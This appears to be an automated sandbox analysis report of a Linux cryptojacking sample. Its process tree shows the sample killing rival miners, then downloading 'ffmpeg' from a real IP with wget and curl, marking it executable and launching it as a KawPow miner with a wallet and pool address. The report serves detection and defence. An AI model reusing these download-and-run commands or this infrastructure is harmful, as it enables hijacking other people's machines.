Overview

overview

7

Static

static

1

main

ubuntu-18.04-amd64

7

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    07/08/2026, 00:12

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    main
  • Size 2.5MB
  • Sample260807-ahn4eada65
  • SHA256 aba148a6454ff6370fdf9697f9bb36a17e52eb53d3d73665b5b91d926653b4f0
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
defense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads CPU attributes 1 TTPs 36 IoCs
    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 3 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/main
    /tmp/main
    1⤵
    • Enumerates kernel/hardware configuration
    • Writes file to tmp directory
    PID:1490
    • /bin/bash
      bash
      2⤵
      • Executes dropped EXE
      PID:1494
      • /usr/bin/pkill
        pkill -f .report_system
        3⤵
        • Reads CPU attributes
        • Reads runtime system information
        PID:1497
      • /usr/bin/pkill
        pkill -f vid
        3⤵
        • Reads CPU attributes
        • Reads runtime system information
        PID:1498
      • /usr/bin/pkill
        pkill -f .ka.m
        3⤵
        • Reads CPU attributes
        • Reads runtime system information
        PID:1503
      • /usr/bin/pkill
        pkill -f .bashrc
        3⤵
        • Reads CPU attributes
        • Reads runtime system information
        PID:1504
      • /usr/bin/pkill
        pkill -f rigel
        3⤵
        • Reads CPU attributes
        • Reads runtime system information
        PID:1505
      • /usr/bin/pkill
        pkill -f "bash /dev/fd/63"
        3⤵
        • Reads CPU attributes
        • Reads runtime system information
        PID:1506
      • /usr/bin/pkill
        pkill -f "node index.js"
        3⤵
        • Reads CPU attributes
        • Reads runtime system information
        PID:1507
      • /usr/bin/pkill
        pkill -f xmrig
        3⤵
        • Reads CPU attributes
        • Reads runtime system information
        PID:1508
      • /usr/bin/pkill
        pkill -f systemd-helper
        3⤵
        • Reads CPU attributes
        • Reads runtime system information
        PID:1509
      • /usr/bin/pkill
        pkill -f .javago
        3⤵
        • Reads CPU attributes
        PID:1510
      • /usr/bin/pkill
        pkill -f x86_32
        3⤵
        • Reads CPU attributes
        • Reads runtime system information
        PID:1511
      • /usr/bin/pkill
        pkill -f "xmr*"
        3⤵
        • Reads CPU attributes
        • Reads runtime system information
        PID:1512
      • /usr/bin/pkill
        pkill -f x86
        3⤵
        • Reads CPU attributes
        • Reads runtime system information
        PID:1513
      • /usr/bin/pkill
        pkill -f rdxr
        3⤵
        • Reads CPU attributes
        • Reads runtime system information
        PID:1514
      • /usr/bin/pkill
        pkill -f xmrigARM
        3⤵
        • Reads CPU attributes
        • Reads runtime system information
        PID:1517
      • /usr/bin/pkill
        pkill -f .profile
        3⤵
        • Reads CPU attributes
        • Reads runtime system information
        PID:1518
      • /usr/bin/pkill
        pkill -f earnfm_example
        3⤵
        • Reads CPU attributes
        • Reads runtime system information
        PID:1519
      • /usr/bin/wget
        wget http://94.154.43.103/ffmpeg
        3⤵
        • Writes file to tmp directory
        PID:1520
      • /usr/bin/curl
        curl -LO http://94.154.43.103/ffmpeg
        3⤵
        • Writes file to tmp directory
        PID:1523
      • /bin/chmod
        chmod +x /tmp/ffmpeg
        3⤵
        • File and Directory Permissions Modification
        PID:1524
      • /tmp/ffmpeg
        /tmp/ffmpeg -algo KawPow -wallet wixer.sefu -pool1 167.17.47.138:3335 -protocol JSON-RPC
        3⤵
        • Executes dropped EXE
        • Enumerates kernel/hardware configuration
        PID:1525
        • /tmp/ffmpeg
          /tmp/ffmpeg -algo KawPow -wallet wixer.sefu -pool1 167.17.47.138:3335 -protocol JSON-RPC restarts_count 0
          4⤵
          • Reads CPU attributes
          • Enumerates kernel/hardware configuration
          • Writes file to tmp directory
          PID:1527
      • /usr/bin/pkill
        pkill -f systemd-cached
        3⤵
        • Reads CPU attributes
        • Reads runtime system information
        PID:1541
      • /bin/sleep
        sleep 5
        3⤵
          PID:1542
        • /usr/bin/pkill
          pkill -f .report_system
          3⤵
          • Reads CPU attributes
          • Reads runtime system information
          PID:1543
        • /usr/bin/pkill
          pkill -f vid
          3⤵
          • Reads CPU attributes
          • Reads runtime system information
          PID:1544
        • /usr/bin/pkill
          pkill -f .ka.m
          3⤵
          • Reads CPU attributes
          • Reads runtime system information
          PID:1545
        • /usr/bin/pkill
          pkill -f .bashrc
          3⤵
          • Reads CPU attributes
          • Reads runtime system information
          PID:1546
        • /usr/bin/pkill
          pkill -f rigel
          3⤵
          • Reads CPU attributes
          • Reads runtime system information
          PID:1547
        • /usr/bin/pkill
          pkill -f "bash /dev/fd/63"
          3⤵
          • Reads CPU attributes
          • Reads runtime system information
          PID:1548
        • /usr/bin/pkill
          pkill -f "node index.js"
          3⤵
          • Reads CPU attributes
          • Reads runtime system information
          PID:1549
        • /usr/bin/pkill
          pkill -f xmrig
          3⤵
          • Reads CPU attributes
          • Reads runtime system information
          PID:1550
        • /usr/bin/pkill
          pkill -f systemd-helper
          3⤵
          • Reads CPU attributes
          PID:1551
        • /usr/bin/pkill
          pkill -f .javago
          3⤵
          • Reads CPU attributes
          PID:1552
        • /usr/bin/pkill
          pkill -f x86_32
          3⤵
          • Reads CPU attributes
          PID:1553
        • /usr/bin/pkill
          pkill -f "xmr*"
          3⤵
          • Reads CPU attributes
          • Reads runtime system information
          PID:1554
        • /usr/bin/pkill
          pkill -f x86
          3⤵
          • Reads CPU attributes
          • Reads runtime system information
          PID:1555
        • /usr/bin/pkill
          pkill -f rdxr
          3⤵
          • Reads CPU attributes
          • Reads runtime system information
          PID:1556
        • /usr/bin/pkill
          pkill -f xmrigARM
          3⤵
          • Reads CPU attributes
          • Reads runtime system information
          PID:1557
        • /usr/bin/pkill
          pkill -f .profile
          3⤵
          • Reads CPU attributes
          • Reads runtime system information
          PID:1558
        • /usr/bin/pkill
          pkill -f earnfm_example
          3⤵
          • Reads CPU attributes
          • Reads runtime system information
          PID:1559
        • /usr/bin/wget
          wget http://94.154.43.103/ffmpeg
          3⤵
          • Writes file to tmp directory
          PID:1560

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          ffmpeg
          • Path /tmp/ffmpeg
          • Size 95.6MB
          • SHA256 22b1c5ae9b0d6d6f45b4589548fc625221e541abac641a1648b4e8c419e373dc
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          log_2026-08-06_20-15-23.log
          • Path /tmp/logs/log_2026-08-06_20-15-23.log
          • Size 658B
          • SHA256 fc561d9d3b81d50a1a44b4fc761eb5b138d0e5f7f92e70f9493776e83167534f
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          miner_err.log
          • Path /tmp/miner_err.log
          • Size 383B
          • SHA256 079db2c99db3ed6bc039a7f28164315b51b8eb65783bba58f60d1dc69293a94b
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          miner_err.log
          • Path /tmp/miner_err.log
          • Size 153KB
          • SHA256 c854a82af49e3d6c2020538d6ba645e01b2e6f44b5fb08b0d3c03440acf30640
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          miner_err.log
          • Path /tmp/miner_err.log
          • Size 153KB
          • SHA256 6cc522c386df02bdd480c488af31a2f7c098da277bc582b93ea5304651b29ce9
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download